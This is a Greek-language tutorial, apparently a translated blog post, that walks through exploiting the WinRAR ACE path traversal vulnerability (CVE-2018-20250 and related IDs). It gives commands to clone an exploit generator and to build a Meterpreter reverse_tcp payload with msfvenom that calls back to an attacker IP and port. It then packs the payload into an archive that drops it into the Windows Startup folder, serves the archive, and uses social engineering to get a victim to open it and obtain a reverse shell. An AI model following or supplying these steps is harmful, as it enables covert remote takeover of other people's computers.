Παρακάτω θα συζητήσουμε τον τρόπο με τον οποίο η WinRAR επιδιόρθωσε σοβαρά σφάλματα ασφαλείας τον περασμένο μήνα. Η WinRAR είναι μία από τις πιο δημοφιλείς εφαρμογές συμπίεσης αρχείων στον κόσμο, και η ευπάθεια που θα περιγράψουμε παρακάτω μπορεί να εξαπατήσει ένα χρήστη της εφαρμογής για την εξαγωγή κακόβουλων αρχείων.
Η ευπάθεια που εντοπίστηκε πέρσι από την research.checkpoint.com επηρεάζει όλες τις εκδόσεις που κυκλοφόρησαν από την εταιρεία τα τελευταία 19 χρόνια.
CVE-ID: CVE-2018-20250, CVE-2018-20251, CVE-2018-20252 και CVE-2018-20253
Έκδοση: WinRAR 5.70 Beta 1
Αυτή η ευπάθεια οφείλεται στη βιβλιοθήκη UNACEV2.DLL που συμπεριλαμβάνεται σε όλες τις εκδόσεις του WinRAR. Το winrar χρησιμοποιεί τη μορφή ACE για να συμπιέσει και να αποσυμπιέσει ένα φάκελο με τη βοήθεια του UNACE.DLL.
Στις εκδόσεις WinRAR πριν από την 5.61, υπάρχει ένα path traversal vulnerability κατά την εκπόνηση του πεδίου του filename field της μορφής ACE (στο UNACEV2.dll). Όταν το filename field διαχειρίζεται με συγκεκριμένα μοτίβα, ο φάκελος προορισμού (εξαγωγή) αγνοείται, αντιμετωπίζοντας έτσι το όνομα αρχείου σαν μια απόλυτη διαδρομή. Αυτό συμβαίνει λόγω ακατάλληλης σύνταξης όταν χρησιμοποιείται το unace.dll.
Ας κατεβάσουμε ένα python script που θα δημιουργήσει ένα αρχείο κακόβουλου αρχείου σε μορφή rar. Μόλις κατεβάσετε το Python script, εγκαταστήστε τα dependency που χρειάζεται για να τρέξει.
git clone //github.com/manulqwerty/Evil-WinRAR-Gen.git cd Evil-WinRAR-Gen/ pip3 install -r requirements.txt
Επιπλέον, θα πρέπει να δώσετε πλήρη δικαιώματα στο python script μέσα στο φάκελο Evil-Winrar-Gen και στη συνέχεια να δημιουργήσετε ένα κακόβουλο αρχείο exe με τη βοήθεια του msfvenom. Ονομάστε το “winrar.exe” όπως φαίνεται μέσα στο Metasploit.
chmod 777 evilWinRAR.py msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.110 lport=1234 -f exe > winrar.exe
Τώρα δημιουργήστε ένα αρχείο κειμένου που θα εμφανίζεται στο θύμα όταν εξάγει το αρχείο rar. Στη συνέχεια τρέξτε το python script του evilWinrar μαζί με το κακόβουλο αρχείο exe και το αρχείο κειμένου, δημιουργώντας ένα κακόβουλο αρχείο που μπορείτε να στείλετε στον στόχο.
touch winrar.txt ./evilWinRAR.py -e winrar.exe -g winrar.txt python -m SimpleHTTPServer 8080
Όπως είπαμε, αυτή η ευπάθεια μας επιτρέπει να εξαγάγουμε το κακόβουλο αρχείο από μια αυθαίρετη διαδρομή, και με τη βοήθεια αυτού του script θα επιτρέψουμε την εξαγωγή αρχείων rar στο /startup program. Τώρα χρησιμοποιήστε social engineering για να δώσετε το κακόβουλο rar στο θύμα και περιμένετε μέχρι το θύμα να επανεκκινήσει το μηχάνημά του για να αποκτήσετε reverse connection στο μηχάνημα στόχο.
Προς το παρόν δεν υπάρχει κάποιο startup program στο μηχάνημε του θύματος όπως φαίνεται παρακάτω. Μόλις το θύμα εξάγει το κακόβουλο αρχείο rar “evil.rar”, το backdoor winrar.exe θα εξαχθεί από το startup program.
Για να διασφαλίσετε ότι το αρχείο winrar.exe βρίσκεται στο φάκελο εκκίνησης, πληκτρολογήστε shell:startup στο run prompt.
Μόλις το θύμα επανεκκινήσει το μηχάνημα, θα λάβετε ένα reverse connection όπως φαίνεται παρακάτω.
Author: Aarti Singh